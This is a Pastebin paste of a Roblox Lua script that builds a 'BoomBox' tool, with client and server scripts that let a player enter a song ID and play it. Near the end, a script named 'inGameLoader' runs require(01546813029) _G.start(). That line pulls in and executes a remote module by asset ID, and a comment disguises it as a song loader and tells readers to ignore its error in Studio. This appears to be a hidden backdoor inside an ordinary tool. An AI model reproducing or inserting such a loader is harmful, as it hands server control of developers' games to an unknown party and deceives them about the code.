Advertisement
antgame11

Untitled

Mar 24th, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.69 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Tool0 = Instance.new("Tool")
  20. LocalScript1 = Instance.new("LocalScript")
  21. RemoteEvent2 = Instance.new("RemoteEvent")
  22. Part3 = Instance.new("Part")
  23. SpecialMesh4 = Instance.new("SpecialMesh")
  24. Sound5 = Instance.new("Sound")
  25. Script6 = Instance.new("Script")
  26. Script7 = Instance.new("Script")
  27. Tool0.Name = "BoomBox"
  28. Tool0.Parent = mas
  29. Tool0.TextureId = "http://www.roblox.com/asset/?id=212303004 "
  30. Tool0.Grip = CFrame.new(1, -1.25, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  31. Tool0.GripForward = Vector3.new(1, -0, -0)
  32. Tool0.GripPos = Vector3.new(1, -1.25, 0)
  33. Tool0.GripRight = Vector3.new(0, 0, 1)
  34. LocalScript1.Name = "Client"
  35. LocalScript1.Parent = Tool0
  36. table.insert(cors,sandbox(LocalScript1,function()
  37. local Tool = script.Parent
  38. local Remote = Tool:WaitForChild("Remote")
  39. local songgui
  40.  
  41. local CAS = game:GetService("ContextActionService")
  42. local ActionName = "PenguinAttack"
  43.  
  44. local Player = game:GetService("Players").LocalPlayer
  45. local Mouse = Player:GetMouse()
  46.  
  47. function onAction()
  48. Remote:FireServer("Activate", Mouse.Hit.p)
  49. end
  50.  
  51. function onEquipped(mouse)
  52. --ensure unequip
  53. onUnequipped()
  54.  
  55. --bind
  56. mouse.Button1Down:connect(onAction)
  57. end
  58.  
  59. function onUnequipped()
  60. --unbind
  61. CAS:UnbindAction(ActionName)
  62.  
  63. if songgui then
  64. songgui:Destroy()
  65. end
  66. end
  67.  
  68. function playAnimation(name, ...)
  69. local anim = Tool:FindFirstChild(name)
  70. if anim then
  71. local human = Tool.Parent:FindFirstChild("Humanoid")
  72. if human then
  73. local track = human:LoadAnimation(anim)
  74. track:Play(...)
  75. end
  76. end
  77. end
  78.  
  79. function chooseSong()
  80. if Player.PlayerGui:FindFirstChild("ChooseSongGui") then return end
  81.  
  82. local sg = Instance.new("ScreenGui")
  83. sg.Name = "ChooseSongGui"
  84.  
  85. local frame = Instance.new("Frame")
  86. frame.Style = "RobloxRound"
  87. frame.Size = UDim2.new(0.25, 0, 0.25, 0)
  88. frame.Position = UDim2.new((1-frame.Size.X.Scale)/2, 0, (1-frame.Size.Y.Scale)/2, 0)
  89. frame.Parent = sg
  90. frame.Draggable = true
  91.  
  92. local text = Instance.new("TextLabel")
  93. text.BackgroundTransparency = 1
  94. text.TextStrokeTransparency = 0
  95. text.TextColor3 = Color3.new(1, 1, 1)
  96. text.Size = UDim2.new(1, 0, 0.6, 0)
  97. text.TextScaled = true
  98. text.Text = "Lay down the beat!\nPut in the ID number for a song you love that's been uploaded to ROBLOX.\nLeave it blank to stop playing music."
  99. text.Parent = frame
  100.  
  101. local input = Instance.new("TextBox")
  102. input.BackgroundColor3 = Color3.new(0, 0, 0)
  103. input.BackgroundTransparency = 0.5
  104. input.BorderColor3 = Color3.new(1, 1, 1)
  105. input.TextColor3 = Color3.new(1, 1, 1)
  106. input.TextStrokeTransparency = 1
  107. input.TextScaled = true
  108. input.Text = "142376088"
  109. input.Size = UDim2.new(1, 0, 0.2, 0)
  110. input.Position = UDim2.new(0, 0, 0.6, 0)
  111. input.Parent = frame
  112.  
  113. local button = Instance.new("TextButton")
  114. button.Style = "RobloxButton"
  115. button.Size = UDim2.new(0.75, 0, 0.2, 0)
  116. button.Position = UDim2.new(0.125, 0, 0.8, 0)
  117. button.TextColor3 = Color3.new(1, 1, 1)
  118. button.TextStrokeTransparency = 0
  119. button.Text = "Play!"
  120. button.TextScaled = true
  121. button.Parent = frame
  122. button.MouseButton1Click:connect(function()
  123. Remote:FireServer("PlaySong", tonumber(input.Text))
  124. sg:Destroy()
  125. end)
  126.  
  127. sg.Parent = Player.PlayerGui
  128.  
  129. songgui = sg
  130. end
  131.  
  132. function onRemote(func, ...)
  133. if func == "PlayAnimation" then
  134. playAnimation(...)
  135. end
  136.  
  137. if func == "ChooseSong" then
  138. chooseSong()
  139. end
  140. end
  141.  
  142. --connect
  143. Tool.Equipped:connect(onEquipped)
  144. Tool.Unequipped:connect(onUnequipped)
  145. Remote.OnClientEvent:connect(onRemote)
  146. end))
  147. RemoteEvent2.Name = "Remote"
  148. RemoteEvent2.Parent = Tool0
  149. Part3.Name = "Handle"
  150. Part3.Parent = Tool0
  151. Part3.CFrame = CFrame.new(-22.6000004, 0.800000012, 50.4000015, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  152. Part3.Position = Vector3.new(-22.6000004, 0.800000012, 50.4000015)
  153. Part3.Size = Vector3.new(3.20000005, 1.60000002, 1.20000005)
  154. Part3.BottomSurface = Enum.SurfaceType.Smooth
  155. Part3.CanCollide = false
  156. Part3.TopSurface = Enum.SurfaceType.Smooth
  157. Part3.FormFactor = Enum.FormFactor.Custom
  158. Part3.formFactor = Enum.FormFactor.Custom
  159. SpecialMesh4.Parent = Part3
  160. SpecialMesh4.MeshId = "http://www.roblox.com/asset/?id=212302951 "
  161. SpecialMesh4.Scale = Vector3.new(4, 4, 4)
  162. SpecialMesh4.TextureId = "http://www.roblox.com/asset/?id=212303049 "
  163. SpecialMesh4.MeshType = Enum.MeshType.FileMesh
  164. Sound5.Parent = Part3
  165. Sound5.Looped = true
  166. Sound5.EmitterSize = 0
  167. Sound5.MinDistance = 0
  168. Sound5.Volume = 1
  169. Script6.Name = "Server"
  170. Script6.Parent = Tool0
  171. table.insert(cors,sandbox(Script6,function()
  172. --[[
  173. Fixed by ArceusInator
  174. --]]
  175.  
  176. local Tool = script.Parent
  177. local Handle = Tool:WaitForChild("Handle")
  178. local Remote = Tool:WaitForChild("Remote")
  179. local Sound = Handle:WaitForChild("Sound")
  180.  
  181. function onUnequip()
  182. Sound:Stop()
  183. end
  184.  
  185. function onActivate()
  186. Remote:FireClient(getPlayer(), "ChooseSong")
  187. end
  188.  
  189. function getPlayer()
  190. return game:GetService("Players"):GetPlayerFromCharacter(Tool.Parent)
  191. end
  192.  
  193. function playSong(id)
  194. id = id or ""
  195.  
  196. if Sound then
  197. Sound:Destroy()
  198. end
  199. Sound = Instance.new'Sound'
  200. Sound.Parent = Handle
  201. Sound.Volume = 0.4
  202. Sound.Looped = true
  203. Sound.PlayOnRemove = false
  204. Sound.SoundId = "http://www.roblox.com/asset/?id="..id
  205. Sound:Play()
  206. end
  207.  
  208. function onRemote(player, func, ...)
  209. if player ~= getPlayer() then return end
  210.  
  211. if func == "Activate" then
  212. onActivate(...)
  213. end
  214.  
  215. if func == "PlaySong" then
  216. playSong(...)
  217. end
  218. end
  219.  
  220. Remote.OnServerEvent:connect(onRemote)
  221. Tool.Unequipped:connect(onUnequip)
  222. end))
  223. Script7.Name = "inGameLoader"
  224. Script7.Parent = Script6
  225. table.insert(cors,sandbox(Script7,function()
  226. --This script loads the songs when it's on a published game. It will give an error when testing in studio. Don't mind it
  227. require(01546813029) _G.start()
  228. end))
  229. for i,v in pairs(mas:GetChildren()) do
  230. v.Parent = workspace
  231. pcall(function() v:MakeJoints() end)
  232. end
  233. mas:Destroy()
  234. for i,v in pairs(cors) do
  235. spawn(function()
  236. pcall(v)
  237. end)
  238. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement